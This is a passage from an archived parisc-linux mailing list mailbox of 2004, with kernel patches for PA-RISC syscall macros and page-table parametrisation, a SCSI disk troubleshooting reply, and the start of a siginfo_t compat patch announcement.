-   the ble instruction, or restarting system calls WILL NOT WORK.  See
-   arch/parisc/kernel/signal.c - dhd, 2000-07-26 */
-#define K_INLINE_SYSCALL(name, nr, args...)       ({              \
-        unsigned long __sys_res;                                \
-        {                                                       \
-                register unsigned long __res asm("r28");        \
-                K_LOAD_ARGS_##nr(args)                            \
-                asm volatile(                                   \
-			"ble  0x100(%%sr2, %%r0)\n\t"           \
-                        " ldi %1, %%r20"                        \
-                        : "=r" (__res)                          \
-                        : "i" (SYS_ify(name)) K_ASM_ARGS_##nr   \
-			  );                                    \
-                __sys_res = __res;                              \
-        }                                                       \
-        if (__sys_res >= (unsigned long)-4095) {                \
-		errno = -__sys_res;				\
-                __sys_res = (unsigned long)-1;                 \
-        }                                                       \
-        __sys_res;                                              \
+/* Assume all syscalls are done from PIC code just to be
+ * safe. The worst case scenario is that you lose a register
+ * and save/restore r19 across the syscall. */
+#define PIC
+
+#ifndef ASM_LINE_SEP
+# define ASM_LINE_SEP ;
+#endif
+
+/* Definition taken from glibc 2.3.3
+ * sysdeps/unix/sysv/linux/hppa/sysdep.h
+ */
+
+#ifdef PIC
+/* WARNING: CANNOT BE USED IN A NOP! */
+# define K_STW_PIC stw %r19, -32(%sr0, %sp) ASM_LINE_SEP
+# define K_LDW_PIC ldw -32(%sr0, %sp), %r19 ASM_LINE_SEP
+# define K_STW_ASM_PIC	"       copy %%r19, %%r4\n"
+# define K_LDW_ASM_PIC	"       copy %%r4, %%r19\n"
+# define K_USING_GR4	"%r4",
+#else
+# define K_STW_PIC ASM_LINE_SEP
+# define K_LDW_PIC ASM_LINE_SEP
+# define K_STW_ASM_PIC	" \n"
+# define K_LDW_ASM_PIC	" \n"
+# define K_USING_GR4
+#endif
+
+/* GCC has to be warned that a syscall may clobber all the ABI
+   registers listed as "caller-saves", see page 8, Table 2
+   in section 2.2.6 of the PA-RISC RUN-TIME architecture
+   document. However! r28 is the result and will conflict with
+   the clobber list so it is left out. Also the input arguments
+   registers r20 -> r26 will conflict with the list so they
+   are treated specially. Although r19 is clobbered by the syscall
+   we cannot say this because it would violate ABI, thus we say
+   r4 is clobbered and use that register to save/restore r19
+   across the syscall. */
+
+#define K_CALL_CLOB_REGS "%r1", "%r2", K_USING_GR4 \
+	        	 "%r20", "%r29", "%r31"
+
+#undef K_INLINE_SYSCALL
+#define K_INLINE_SYSCALL(name, nr, args...)	({			\
+	long __sys_res;							\
+	{								\
+		register unsigned long __res asm("r28");		\
+		K_LOAD_ARGS_##nr(args)					\
+		/* FIXME: HACK stw/ldw r19 around syscall */		\
+		asm volatile(						\
+			K_STW_ASM_PIC					\
+			"	ble  0x100(%%sr2, %%r0)\n"		\
+			"	ldi %1, %%r20\n"			\
+			K_LDW_ASM_PIC					\
+			: "=r" (__res)					\
+			: "i" (SYS_ify(name)) K_ASM_ARGS_##nr   	\
+			: K_CALL_CLOB_REGS K_CLOB_ARGS_##nr		\
+		);							\
+		__sys_res = (long)__res;				\
+	}								\
+	if ( (unsigned long)__sys_res >= (unsigned long)-4095 ){	\
+		errno = -__sys_res);		        		\
+		__sys_res = -1;						\
+	}								\
+	__sys_res;							\
 })
 
 #define K_LOAD_ARGS_0()
-#define K_LOAD_ARGS_1(r26)                                        \
-        register unsigned long __r26 __asm__("r26") = (unsigned long)r26;       \
-        K_LOAD_ARGS_0()
-#define K_LOAD_ARGS_2(r26,r25)                                    \
-        register unsigned long __r25 __asm__("r25") = (unsigned long)r25;       \
-        K_LOAD_ARGS_1(r26)
-#define K_LOAD_ARGS_3(r26,r25,r24)                                \
-        register unsigned long __r24 __asm__("r24") = (unsigned long)r24;       \
-        K_LOAD_ARGS_2(r26,r25)
-#define K_LOAD_ARGS_4(r26,r25,r24,r23)                            \
-        register unsigned long __r23 __asm__("r23") = (unsigned long)r23;       \
-        K_LOAD_ARGS_3(r26,r25,r24)
-#define K_LOAD_ARGS_5(r26,r25,r24,r23,r22)                        \
-        register unsigned long __r22 __asm__("r22") = (unsigned long)r22;       \
-        K_LOAD_ARGS_4(r26,r25,r24,r23)
-#define K_LOAD_ARGS_6(r26,r25,r24,r23,r22,r21)                    \
-        register unsigned long __r21 __asm__("r21") = (unsigned long)r21;       \
-        K_LOAD_ARGS_5(r26,r25,r24,r23,r22)
+#define K_LOAD_ARGS_1(r26)					\
+	register unsigned long __r26 __asm__("r26") = (unsigned long)(r26);   \
+	K_LOAD_ARGS_0()
+#define K_LOAD_ARGS_2(r26,r25)					\
+	register unsigned long __r25 __asm__("r25") = (unsigned long)(r25);   \
+	K_LOAD_ARGS_1(r26)
+#define K_LOAD_ARGS_3(r26,r25,r24)				\
+	register unsigned long __r24 __asm__("r24") = (unsigned long)(r24);   \
+	K_LOAD_ARGS_2(r26,r25)
+#define K_LOAD_ARGS_4(r26,r25,r24,r23)				\
+	register unsigned long __r23 __asm__("r23") = (unsigned long)(r23);   \
+	K_LOAD_ARGS_3(r26,r25,r24)
+#define K_LOAD_ARGS_5(r26,r25,r24,r23,r22)			\
+	register unsigned long __r22 __asm__("r22") = (unsigned long)(r22);   \
+	K_LOAD_ARGS_4(r26,r25,r24,r23)
+#define K_LOAD_ARGS_6(r26,r25,r24,r23,r22,r21)			\
+	register unsigned long __r21 __asm__("r21") = (unsigned long)(r21);   \
+	K_LOAD_ARGS_5(r26,r25,r24,r23,r22)
 
+/* Even with zero args we use r20 for the syscall number */
 #define K_ASM_ARGS_0
-#define K_ASM_ARGS_1 , "r" (__r26)
-#define K_ASM_ARGS_2 , "r" (__r26), "r" (__r25)
-#define K_ASM_ARGS_3 , "r" (__r26), "r" (__r25), "r" (__r24)
-#define K_ASM_ARGS_4 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23)
-#define K_ASM_ARGS_5 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23), "r" (__r22)
-#define K_ASM_ARGS_6 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23), "r" (__r22), "r" (__r21)
+#define K_ASM_ARGS_1 K_ASM_ARGS_0, "r" (__r26)
+#define K_ASM_ARGS_2 K_ASM_ARGS_1, "r" (__r25)
+#define K_ASM_ARGS_3 K_ASM_ARGS_2, "r" (__r24)
+#define K_ASM_ARGS_4 K_ASM_ARGS_3, "r" (__r23)
+#define K_ASM_ARGS_5 K_ASM_ARGS_4, "r" (__r22)
+#define K_ASM_ARGS_6 K_ASM_ARGS_5, "r" (__r21)
+
+/* The registers not listed as inputs but clobbered */
+#define K_CLOB_ARGS_6
+#define K_CLOB_ARGS_5 K_CLOB_ARGS_6, "%r21"
+#define K_CLOB_ARGS_4 K_CLOB_ARGS_5, "%r22"
+#define K_CLOB_ARGS_3 K_CLOB_ARGS_4, "%r23"
+#define K_CLOB_ARGS_2 K_CLOB_ARGS_3, "%r24"
+#define K_CLOB_ARGS_1 K_CLOB_ARGS_2, "%r25"
+#define K_CLOB_ARGS_0 K_CLOB_ARGS_1, "%r26"
 
-#define _syscall0(type,name)						      \
-type name(void)								      \
-{									      \
-    return K_INLINE_SYSCALL(name, 0);	\
+#define _syscall0(type,name)						\
+type name(void)								\
+{									\
+    return K_INLINE_SYSCALL(name, 0);	                                \
 }
 
-#define _syscall1(type,name,type1,arg1)					      \
-type name(type1 arg1)							      \
-{									      \
-    return K_INLINE_SYSCALL(name, 1, arg1);	\
+#define _syscall1(type,name,type1,arg1)					\
+type name(type1 arg1)							\
+{									\
+    return K_INLINE_SYSCALL(name, 1, arg1);	                        \
 }
 
-#define _syscall2(type,name,type1,arg1,type2,arg2)			      \
-type name(type1 arg1, type2 arg2)					      \
-{									      \
-    return K_INLINE_SYSCALL(name, 2, arg1, arg2);	\
+#define _syscall2(type,name,type1,arg1,type2,arg2)			\
+type name(type1 arg1, type2 arg2)					\
+{									\
+    return K_INLINE_SYSCALL(name, 2, arg1, arg2);	                \
 }
 
-#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)		      \
-type name(type1 arg1, type2 arg2, type3 arg3)				      \
-{									      \
-    return K_INLINE_SYSCALL(name, 3, arg1, arg2, arg3);	\
+#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)		\
+type name(type1 arg1, type2 arg2, type3 arg3)				\
+{									\
+    return K_INLINE_SYSCALL(name, 3, arg1, arg2, arg3);	                \
 }
 
-#define _syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4)      \
-type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4)		      \
-{									      \
-    return K_INLINE_SYSCALL(name, 4, arg1, arg2, arg3, arg4);	\
+#define _syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
+type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4)		\
+{									\
+    return K_INLINE_SYSCALL(name, 4, arg1, arg2, arg3, arg4);	        \
 }
 
 /* select takes 5 arguments */
@@ -834,13 +881,11 @@ type name(type1 arg1, type2 arg2, type3 
 
 
 /* mmap & mmap2 take 6 arguments */
-
 #define _syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5,type6,arg6) \
 type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5, type6 arg6) \
-{									\
+{									        \
     return K_INLINE_SYSCALL(name, 6, arg1, arg2, arg3, arg4, arg5, arg6);	\
 }

From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 30 Apr 2004 11:25:46 -0500
Lines: 248
Approved: news@gmane.org
Message-ID: <1083342347.2063.38.camel@mulgrave>
References: <20040430162037.9D2B94945CD@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623424 9165 80.91.229.3 (22 Nov 2014 02:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:24 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr 30 10:25:49 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 84396482C; Fri, 30 Apr 2004 10:25:48 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3UGPla08568; Fri, 30 Apr 2004 12:25:47 -0400
In-Reply-To: <20040430162037.9D2B94945CD@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Apr 2004 16:25:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21575

On Fri, 2004-04-30 at 11:20, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/30 10:20:37
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: asm-offsets.c entry.S init_task.c 
> 	include/asm-parisc: page.h pgalloc.h pgtable.h 
> 
> Log message:
> Update the parametrisation of our page tables
> 
> This fix also allows variable size pgd and pmd and thus lays the ground
> work for expanding the number of page table flags we have

===== arch/parisc/kernel/asm-offsets.c 1.6 vs edited =====
--- 1.6/arch/parisc/kernel/asm-offsets.c	Sun Apr 25 04:00:10 2004
+++ edited/arch/parisc/kernel/asm-offsets.c	Thu Apr 29 12:52:22 2004
@@ -276,6 +276,12 @@
 	BLANK();
 	DEFINE(PA_BLOCKSTEP_BIT, 31-PT_BLOCKSTEP_BIT);
 	DEFINE(PA_SINGLESTEP_BIT, 31-PT_SINGLESTEP_BIT);
+	BLANK();
+	DEFINE(ASM_PMD_SHIFT, PMD_SHIFT);
+	DEFINE(ASM_PGDIR_SHIFT, PGDIR_SHIFT);
+	DEFINE(ASM_BITS_PER_PGD, BITS_PER_PGD);
+	DEFINE(ASM_BITS_PER_PMD, BITS_PER_PMD);
+	DEFINE(ASM_BITS_PER_PTE, BITS_PER_PTE);
 	DEFINE(ASM_PMD_ENTRY, ((__PAGE_OFFSET & PMD_MASK) >> PMD_SHIFT));
 	BLANK();
 	return 0;
===== arch/parisc/kernel/entry.S 1.17 vs edited =====
--- 1.17/arch/parisc/kernel/entry.S	Tue Apr 27 06:20:11 2004
+++ edited/arch/parisc/kernel/entry.S	Thu Apr 29 18:16:28 2004
@@ -455,21 +455,25 @@
 	/* Look up a PTE in a 2-Level scheme (faulting at each
 	 * level if the entry isn't present */
 	.macro		L2_ptep	pmd,pte,index,va,fault
-	EXTR		\va,31-PMD_SHIFT,PAGE_SHIFT-BITS_PER_PMD,\index
+#if PT_NLEVELS == 3
+	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+#else
+	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+#endif
 	copy		%r0,\pte
 	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
 	LDREG,s		\index(\pmd),\pmd
-	EXTR		\va,31-PAGE_SHIFT,PAGE_SHIFT-BITS_PER_PTE,\index
+	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
 	bb,>=,n		\pmd,_PAGE_PRESENT_BIT,\fault
 	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
-	shladd		\index,BITS_PER_PTE,\pmd,\pmd
+	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
 	.endm
 
 	/* Look up PTE in a 3-Level scheme */
 	.macro		L3_ptep pgd,pte,index,va,fault
-	extrd,u		\va,63-PGDIR_SHIFT,PAGE_SHIFT-BITS_PER_PGD,\index
+	extrd,u		\va,63-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 	copy		%r0,\pte
 	ldd,s		\index(\pgd),\pgd
 	bb,>=,n		\pgd,_PAGE_PRESENT_BIT,\fault
===== arch/parisc/kernel/init_task.c 1.7 vs edited =====
--- 1.7/arch/parisc/kernel/init_task.c	Tue Feb  3 23:41:56 2004
+++ edited/arch/parisc/kernel/init_task.c	Thu Apr 29 11:42:08 2004
@@ -52,7 +52,7 @@
 	__attribute__((aligned(128))) __attribute__((__section__(".data.init_task"))) =
 		{ INIT_THREAD_INFO(init_task) };
 
-pgd_t swapper_pg_dir[PTRS_PER_PGD] __attribute__ ((aligned(4096))) = { {0}, };
+pgd_t swapper_pg_dir[PTRS_PER_PGD] __attribute__ ((aligned(PAGE_SIZE<<PGD_ORDER))) = { {0}, };
 #ifdef __LP64__
 unsigned long pmd0[PTRS_PER_PMD] __attribute__ ((aligned(4096))) = { 0, };
 #endif
===== include/asm-parisc/page.h 1.7 vs edited =====
--- 1.7/include/asm-parisc/page.h	Tue Apr 27 06:20:26 2004
+++ edited/include/asm-parisc/page.h	Fri Apr 30 09:16:34 2004
@@ -84,14 +84,21 @@
 
 #endif /* !__ASSEMBLY__ */
 
+/* WARNING: The definitions below must match exactly to sizeof(pte_t)
+ * etc
+ */
 #ifdef __LP64__
-#define BITS_PER_PTE	3
-#define BITS_PER_PMD	3
-#define BITS_PER_PGD	3
+#define BITS_PER_PTE_ENTRY	3
+#define BITS_PER_PMD_ENTRY	3
+#define BITS_PER_PGD_ENTRY	3
 #else
-#define BITS_PER_PTE	2
-#define BITS_PER_PMD	2
+#define BITS_PER_PTE_ENTRY	2
+#define BITS_PER_PMD_ENTRY	2
+#define BITS_PER_PGD_ENTRY	BITS_PER_PMD_ENTRY
 #endif
+#define PGD_ENTRY_SIZE	(1UL << BITS_PER_PGD_ENTRY)
+#define PMD_ENTRY_SIZE	(1UL << BITS_PER_PMD_ENTRY)
+#define PTE_ENTRY_SIZE	(1UL << BITS_PER_PTE_ENTRY)
 
 /* to align the pointer to the (next) page boundary */
 #define PAGE_ALIGN(addr)	(((addr)+PAGE_SIZE-1)&PAGE_MASK)
===== include/asm-parisc/pgalloc.h 1.9 vs edited =====
--- 1.9/include/asm-parisc/pgalloc.h	Sat Sep 27 16:43:45 2003
+++ edited/include/asm-parisc/pgalloc.h	Thu Apr 29 17:07:16 2004
@@ -12,18 +12,19 @@
 
 static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 {
-	pgd_t *pgd = (pgd_t *)__get_free_page(GFP_KERNEL);
+	pgd_t *pgd = (pgd_t *)__get_free_pages(GFP_KERNEL, PGD_ORDER);
+
 	if (likely(pgd != NULL))
-		clear_page(pgd);
+		memset(pgd, 0, PAGE_SIZE<<PGD_ORDER);
 	return pgd;
 }
 
 static inline void pgd_free(pgd_t *pgd)
 {
-	free_page((unsigned long)pgd);
+	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-#ifdef __LP64__
+#if PT_NLEVELS == 3
 
 /* Three Level Page Table Support for pmd's */
 
@@ -34,15 +35,16 @@
 
 static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
 {
-	pmd_t *pmd = (pmd_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT);
+	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT,
+					       PMD_ORDER);
 	if (pmd)
-		clear_page(pmd);
+		memset(pmd, 0, PAGE_SIZE<<PMD_ORDER);
 	return pmd;
 }
 
 static inline void pmd_free(pmd_t *pmd)
 {
-	free_page((unsigned long)pmd);
+	free_pages((unsigned long)pmd, PMD_ORDER);
 }
 
 #else
===== include/asm-parisc/pgtable.h 1.17 vs edited =====
--- 1.17/include/asm-parisc/pgtable.h	Sun Apr 25 04:00:21 2004
+++ edited/include/asm-parisc/pgtable.h	Fri Apr 30 11:16:11 2004
@@ -63,41 +63,49 @@
  */
 
 #ifdef __LP64__
-#define PT_NLEVELS 3
-#define PT_INITIAL 4 /* Number of initial page tables */
+#define PT_NLEVELS	3
+#define PT_INITIAL	4 /* Number of initial page tables */
+#define PGD_ORDER	0 /* Number of pages per pgd */
+#define PMD_ORDER	0 /* Number of pages per pmd */
 #else
-#define PT_NLEVELS 2
-#define PT_INITIAL 2 /* Number of initial page tables */
+#define PT_NLEVELS	2
+#define PT_INITIAL	2 /* Number of initial page tables */
+#define PGD_ORDER	0 /* Number of pages per pgd */
 #endif
 
-#define MAX_ADDRBITS (PAGE_SHIFT + (PT_NLEVELS)*(PAGE_SHIFT - PT_NLEVELS))
-#define MAX_ADDRESS (1UL << MAX_ADDRBITS)
-
-#define SPACEID_SHIFT (MAX_ADDRBITS - 32)
-
-/* Definitions for 1st level */
-
-#define PGDIR_SHIFT  (PAGE_SHIFT + (PT_NLEVELS - 1)*(PAGE_SHIFT - PT_NLEVELS))
-#define PGDIR_SIZE	(1UL << PGDIR_SHIFT)
-#define PGDIR_MASK	(~(PGDIR_SIZE-1))
-#define PTRS_PER_PGD    (1UL << (PAGE_SHIFT - PT_NLEVELS))
-#define USER_PTRS_PER_PGD       PTRS_PER_PGD
+/* Definitions for 3rd level (we use PLD here for Page Lower directory
+ * because PTE_SHIFT is used lower down to mean shift that has to be
+ * done to get usable bits out of the PTE) */
+#define PLD_SHIFT	PAGE_SHIFT
+#define PLD_SIZE	PAGE_SIZE
+#define BITS_PER_PTE	(PAGE_SHIFT - BITS_PER_PTE_ENTRY)
+#define PTRS_PER_PTE    (1UL << BITS_PER_PTE)
 
 /* Definitions for 2nd level */
 #define pgtable_cache_init()	do { } while (0)
 
-#define PMD_SHIFT       (PAGE_SHIFT + (PAGE_SHIFT - PT_NLEVELS))
+#define PMD_SHIFT       (PLD_SHIFT + BITS_PER_PTE)
 #define PMD_SIZE	(1UL << PMD_SHIFT)
 #define PMD_MASK	(~(PMD_SIZE-1))
 #if PT_NLEVELS == 3
-#define PTRS_PER_PMD    (1UL << (PAGE_SHIFT - PT_NLEVELS))
+#define BITS_PER_PMD	(PAGE_SHIFT + PMD_ORDER - BITS_PER_PMD_ENTRY)
 #else
-#define PTRS_PER_PMD    1
+#define BITS_PER_PMD	0
 #endif
+#define PTRS_PER_PMD    (1UL << BITS_PER_PMD)
 
-/* Definitions for 3rd level */
+/* Definitions for 1st level */
+#define PGDIR_SHIFT	(PMD_SHIFT + BITS_PER_PMD)
+#define BITS_PER_PGD	(PAGE_SHIFT + PGD_ORDER - BITS_PER_PGD_ENTRY)
+#define PGDIR_SIZE	(1UL << PGDIR_SHIFT)
+#define PGDIR_MASK	(~(PGDIR_SIZE-1))
+#define PTRS_PER_PGD    (1UL << BITS_PER_PGD)
+#define USER_PTRS_PER_PGD       PTRS_PER_PGD
 
-#define PTRS_PER_PTE    (1UL << (PAGE_SHIFT - PT_NLEVELS))
+#define MAX_ADDRBITS	(PGDIR_SHIFT + BITS_PER_PGD)
+#define MAX_ADDRESS	(1UL << MAX_ADDRBITS)
+
+#define SPACEID_SHIFT (MAX_ADDRBITS - 32)
 
 /*
  * pgd entries used up by user/kernel:
@@ -241,7 +249,7 @@
 


-#ifdef __LP64__
+#if PT_NLEVELS == 3
 #define pgd_page(pgd) ((unsigned long) __va(pgd_val(pgd) & PAGE_MASK))
 
 /* For 64 bit we have three level tables */
@@ -337,7 +345,7 @@
 
 /* Find an entry in the second-level page table.. */
 
-#ifdef __LP64__
+#if PT_NLEVELS == 3
 #define pmd_offset(dir,address) \
 ((pmd_t *) pgd_page(*(dir)) + (((address)>>PMD_SHIFT) & (PTRS_PER_PMD-1)))
 #else



From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug in kernel 2.4.23 concerning use of SCSI
Date: Fri, 30 Apr 2004 19:22:44 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <4092A784.7030306@tiscali.be>
References: <408D378B00000029@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623425 9172 80.91.229.3 (22 Nov 2014 02:30:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:25 +0000 (UTC)
Cc: JKonrad@linotype.com, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Fri Apr 30 13:22:19 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED2A44888
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Apr 2004 13:22:18 -0600 (MDT)
Original-Received: from [83.134.226.214] (port=32797 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BJdaT-0007qZ-Ac; Fri, 30 Apr 2004 21:22:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en
In-Reply-To: <408D378B00000029@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Apr 2004 19:22:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21576

Hello Jay,

Do you find a solution?

Joel Soete wrote:
> Hello,
> 
> Just for curiosity, can you join a dmesg file.
> 
> Thanks,
>     Joel
> 
> 
>>-- Original Message --
>>To: parisc-linux@lists.parisc-linux.org
>>From: JKonrad@linotype.com
>>Date: Mon, 26 Apr 2004 16:08:58 +0200
>>Subject: [parisc-linux] Bug in kernel 2.4.23 concerning use of SCSI
>>
>>
>>Hi,
> 
> 
> using kernel 2.4.23-pa3, which I downloaded from http://parisc-linux.org/~rbrad/vmlinux-2.4.23-pa3.bz2
> because I needed MUX support.
> 
> Machine is a HP K-200 with three CPUs (although, since this is not an smp
> kernel, should not be important);
> 
> 
> I have a 50 GB SCSI-drive attached to SCSI1 (the Low Voltage Controller where
> the CD-Rom is attached to); Whenever I try to format the partition (50GB,
> the whole disk) I get the following:
> 
My question was in fact to confirm me that you are using the same driver then the one I used on my c110:
[snip]
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700

on which I only connected a SE (single ended) rw cdrom drive which works perfectly but also I never tested so big disk on this 
controler.

Is your 50Gb disk is also a single ended one, a low or high voltage?
Doesn't it need some special hw config (jumper) to be a single ended scsi device?
Is your chain is well terminated?

Cheers,
	Joel


From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Please review. Generic changes required for
	siginfo_t compat on 64-bit arches.
Date: Fri, 30 Apr 2004 16:13:18 -0400
Lines: 301
Approved: news@gmane.org
Message-ID: <20040430201317.GS12850@baldric.uwo.ca>
References: <20040430200704.ECCA44945C8@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623425 9175 80.91.229.3 (22 Nov 2014 02:30:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:25 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Fri Apr 30 14:13:57 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9DDF1484A; Fri, 30 Apr 2004 14:13:56 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BJeNq-0007ts-00; Fri, 30 Apr 2004 16:13:18 -0400
Content-Disposition: inline
In-Reply-To: <20040430200704.ECCA44945C8@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Apr 2004 20:13:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21577

On Fri, Apr 30, 2004 at 02:07:04PM -0600, Carlos O'Donell wrote:
> ----------------------------------------
> Linux Kernel - siginfo_t compat changes
> ----------------------------------------
> 
> The Linuxthreads implementation of posix-threads uses
> rt_sigqueueinfo. This is broken for 64-bit kernels running
> 32-bit userspace. It requires that kernel check for a compat
> task and properly copy the siginfo_t out of userspace.
> 
> This change adds the requires compat checks in generic
> places, and uses the previously implemented is_compat_task
> macro to remove this code when there is no possibility of a
> compat task.
> 
> ----------------------------------------
> include/linux/compat_siginfo.h
> 
> Cleanup and make more consistent with compat_* types.
> Make __ARCH_SI_UID_T the correct compat type.
> 
